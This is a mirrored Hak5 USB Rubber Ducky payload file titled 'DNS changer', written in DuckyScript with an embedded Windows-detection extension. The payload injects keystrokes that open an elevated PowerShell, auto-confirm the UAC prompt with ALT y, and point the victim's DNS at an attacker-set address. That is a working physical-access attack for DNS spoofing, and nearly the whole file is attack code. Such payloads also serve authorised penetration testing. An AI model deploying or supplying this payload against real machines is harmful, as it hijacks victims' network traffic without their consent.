Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/execution/DNS_spoofer/payload.txt
3018 views
1
REM Title: DNS changer

2
REM Author: luu176

3
REM Description: Changes DNS address of windows machine in powershell

4
REM Target: Windows 10/11

5


6
REM wifi interface should be named: Wi-Fi

7
DEFINE #interface Ethernet

8
DEFINE #primaryDNS 192.168.1.3

9
DEFINE #secondaryDNS 1.1.1.1

10


11
EXTENSION PASSIVE_WINDOWS_DETECT

12
    REM VERSION 1.1

13
    REM AUTHOR: Korben

14


15
    REM_BLOCK DOCUMENTATION

16
        Windows fully passive OS Detection and passive Detect Ready

17
        Includes its own passive detect ready.

18
        Does not require additional extensions.

19


20
        USAGE:

21
            Extension runs inline (here)

22
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic

23
            boot delay

24
            $_OS will be set to WINDOWS or NOT_WINDOWS

25
            See end of payload for usage within payload

26
    END_REM

27


28
    REM CONFIGURATION:

29
    DEFINE #MAX_WAIT 150

30
    DEFINE #CHECK_INTERVAL 20

31
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2

32
    DEFINE #NOT_WINDOWS 7

33


34
    $_OS = #NOT_WINDOWS

35


36
    VAR $MAX_TRIES = #MAX_WAIT

37
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))

38
        DELAY #CHECK_INTERVAL

39
        $MAX_TRIES = ($MAX_TRIES - 1)

40
    END_WHILE

41
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN

42
        $_OS = WINDOWS

43
    END_IF

44


45
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION

46
        IF ($_OS == WINDOWS) THEN

47
            STRING HELLO WINDOWS!

48
        ELSE

49
            STRING HELLO WORLD!

50
        END_IF

51
    END_REM

52
END_EXTENSION

53


54
SAVE_HOST_KEYBOARD_LOCK_STATE

55
GUI r

56
DELAY 150

57
STRINGLN powershell Start-Process powershell -Verb runAs

58
DELAY 800

59
ALT y

60
DELAY 500

61
STRINGLN Set-DnsClientServerAddress -InterfaceAlias "#interface" -ServerAddresses ("#primaryDNS", "#secondaryDNS"); exit

62
REM below is to blink the LED when payload done

63
VAR $i = 0

64
WHILE ( $i < 9 )

65
    DELAY 150

66
    CAPSLOCK

67
    $i = ( $i + 1 )

68
END_WHILE

69
RESTORE_HOST_KEYBOARD_LOCK_STATE

70


71